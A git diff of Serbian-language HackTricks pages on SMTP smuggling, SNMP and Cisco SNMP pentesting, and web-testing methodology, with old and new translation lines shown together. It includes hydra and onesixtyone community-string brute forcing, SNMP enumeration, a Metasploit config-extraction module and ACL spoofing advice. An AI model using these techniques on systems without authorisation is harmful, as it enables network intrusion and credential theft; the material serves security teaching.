Na primer, regularan kraj podataka je `\r\n.\r`. Ali ako Inbound SMTP server takođe podržava `\n.`, napadač može jednostavno dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih e-poruka kako bi ih prokrijumčario, baš kao u prethodnoj slici.
Naravno, ovo može raditi samo ako **Outbound SMTP server ne tretira te podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti.
Naravno, ovo bi moglo raditi samo ako **Outbound SMTP server ne tretira ove podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo desinkronizacija koja se zloupotrebljava u ovoj ranjivosti.
Potencijalni podaci za desinkronizaciju:

View file

@ -1,8 +1,8 @@
# 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -29,26 +29,26 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
SNMP takođe koristi port **162/UDP** za **trape**. To su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
SNMP takođe koristi port **162/UDP** za **trape**. Ovo su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
{% endhint %}
### MIB
Da bi se osiguralo da SNMP pristup funkcioniše među proizvođačima i sa različitim kombinacijama klijent-server, **Management Information Base (MIB)** je stvoren. MIB je **nezavistan format za čuvanje informacija o uređaju**. MIB je **tekstualna** datoteka u kojoj su svi upitni **SNMP objekti** uređaja navedeni u **standardizovanoj** hijerarhiji stabla. Sadrži najmanje jedan `Object Identifier` (`OID`), koji, pored potrebne **jedinstvene adrese** i **imena**, takođe pruža informacije o tipu, pravima pristupa i opisu odgovarajućeg objekta.\
MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) zasnovanom ASCII tekstualnom formatu. **MIB-ovi ne sadrže podatke**, ali objašnjavaju **gde pronaći koje informacije** i kako izgledaju, koje vraća vrednosti za specifični OID, ili koji tip podataka se koristi.
Da bi se osiguralo da SNMP pristup funkcioniše među proizvođačima i sa različitim kombinacijama klijent-server, **Management Information Base (MIB)** je stvoren. MIB je **nezavistan format za čuvanje informacija o uređaju**. MIB je **tekst** fajl u kojem su svi upitni **SNMP objekti** uređaja navedeni u **standardizovanoj** hijerarhiji stabla. Sadrži najmanje jedan `Object Identifier` (`OID`), koji, pored potrebne **jedinstvene adrese** i **imena**, takođe pruža informacije o tipu, pravima pristupa i opisu odgovarajućeg objekta.\
MIB fajlovi su napisani u `Abstract Syntax Notation One` (`ASN.1`) baziranom ASCII tekstualnom formatu. **MIB-ovi ne sadrže podatke**, ali objašnjavaju **gde pronaći koje informacije** i kako izgledaju, koje vraća vrednosti za specifični OID, ili koji tip podataka se koristi.
### OIDs
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
Najviši nivoi MIB identifikatora objekata, ili OIDs, su dodeljeni raznim organizacijama koje postavljaju standarde. Unutar ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
Najviši nivoi MIB identifikatora objekata, ili OIDs, dodeljeni su raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemskim podacima, mrežnim podacima, podacima o procesima...)
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovoga** možete dobiti neke zanimljive podatke o hostu (sistemskim podacima, mrežnim podacima, podacima o procesima...)
### **Primer OID-a**
@ -87,7 +87,7 @@ Ostatak vrednosti daje specifične informacije o uređaju.
Postoje 2 važne verzije SNMP:
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (sve informacije putuju u plain textu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain textu** i koriste **community string kao autentifikaciju**.
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (sve informacije putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
### Community Strings
@ -115,7 +115,7 @@ U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **od
Da biste **pogodili community string**, mogli biste izvesti napad rečnikom. Proverite [ovde različite načine za izvođenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
## Enumerating SNMP
## Enumeracija SNMP
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
```bash
@ -124,7 +124,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
Ako znate važeći community string, možete pristupiti podacima koristeći **SNMPWalk** ili **SNMP-Check**:
Ako znate validni community string, možete pristupiti podacima koristeći **SNMPWalk** ili **SNMP-Check**:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -173,7 +173,7 @@ Serija **Management Information Base (MIB) vrednosti** se koristi za nadgledanje
* **Skladišne jedinice**: Nadgledanje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjena za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne konekcije.
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne konekcije.
### Cisco
@ -193,7 +193,7 @@ Ako imate **string** koji vam omogućava da **pišete vrednosti** unutar SNMP se
## **Masovni SNMP**
[Braa](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita ali za razliku od snmpwalk iz net-snmp, sposoban je da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje obavlja VEOMA brzo.
[Braa ](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita ali za razliku od snmpwalk iz net-snmp, sposoban je da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje obavlja VEOMA brzo.
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
@ -229,27 +229,27 @@ Na kraju, za ekstrakciju **email adresa** iz podataka, koristi se **grep komanda
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Modifying SNMP values
## Modifikovanje SNMP vrednosti
Možete koristiti _**NetScanTools**_ da **izmenite vrednosti**. Trebaće vam **privatni string** da biste to uradili.
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
## Spoofing
## Lažiranje
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
Ako postoji ACL koji dozvoljava samo nekim IP-ovima da upitaju SNMP servis, možete lažirati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
## Examine SNMP Configuration files
## Istraživanje SNMP konfiguracionih fajlova
* snmp.conf
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
## HackTricks Automatic Commands
## HackTricks Automatske Komande
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
Port_Number: 161 #Comma separated if there is more than one.
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -34,8 +34,8 @@ onesixtyone -c communitystrings -i targets
Metasploit okvir sadrži `cisco_config_tftp` modul, koji olakšava ekstrakciju konfiguracija uređaja, pod uslovom da se dobije RW community string. Osnovni parametri za ovu operaciju uključuju:
* RW community string (**COMMUNITY**)
* IP adresa napadača (**LHOST**)
* IP adresa ciljnog uređaja (**RHOSTS**)
* IP napadača (**LHOST**)
* IP ciljnog uređaja (**RHOSTS**)
* Odredišna putanja za konfiguracione datoteke (**OUTPUTDIR**)
Nakon konfiguracije, ovaj modul omogućava preuzimanje podešavanja uređaja direktno u određenu fasciklu.
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -44,15 +44,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Methodology summary
> U ovoj metodologiji pretpostavljamo da ćete napasti domen (ili poddomen) i samo to. Dakle, trebali biste primeniti ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa neodređenim web serverom unutar opsega.
> U ovoj metodologiji pretpostavljamo da ćete napasti domen (ili poddomen) i samo to. Dakle, trebali biste primeniti ovu metodologiju na svaki otkriven domen, poddomen ili IP sa neodređenim web serverom unutar opsega.
* [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
* [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija?
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekih **korisnih trikova** za izvlačenje više informacija?
* [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
* [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
* [ ] Počnite sa **spideringom** web stranice: vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
* [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
@ -66,7 +66,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### Identify
Proverite da li postoje **poznate ranjivosti** za verziju servera **koja se koristi**.\
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -122,14 +122,14 @@ Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije*
### Pregled izvornog koda
Ako je **izvorni kod** aplikacije dostupan na **github**, osim što ćete **sami obaviti White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem web-a?
* Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
* Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
* Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
* Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
* Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka unesena unutar starog commita**)?
* Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka unesena unutar starog commit-a**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -154,7 +154,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto sočno:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** veb sajtovi za bezbednosne probleme. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -220,16 +220,16 @@ Information about SSL/TLS vulnerabilities:
Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što više puteva** iz testirane aplikacije. Stoga, web crawling i spoljašnji izvori treba da se koriste za pronalaženje što više validnih puteva.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnji izvori (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnjim izvorom.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putevima, a meg će preuzeti svaki put na svakom hostu i sačuvati odgovor.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
* [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl)
* [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretraživanje novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec ninje.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
@ -240,7 +240,7 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje puteva i parametara u JS datotekama.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobijate beautified JS kod.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova).
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback i tražeći više linkova).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, puteva, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda.
@ -250,18 +250,18 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
### Brute Force directories and files
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete raditi ovaj brute-forcing **rekurzivno** i dodavati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Alati:
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivnu pretragu.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivnu** pretragu.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.**
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivno pretraživanje. Previše sporo u poređenju sa drugim opcijama.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivno pretraživanje.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivno** pretraživanje.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivno pretraživanje.**
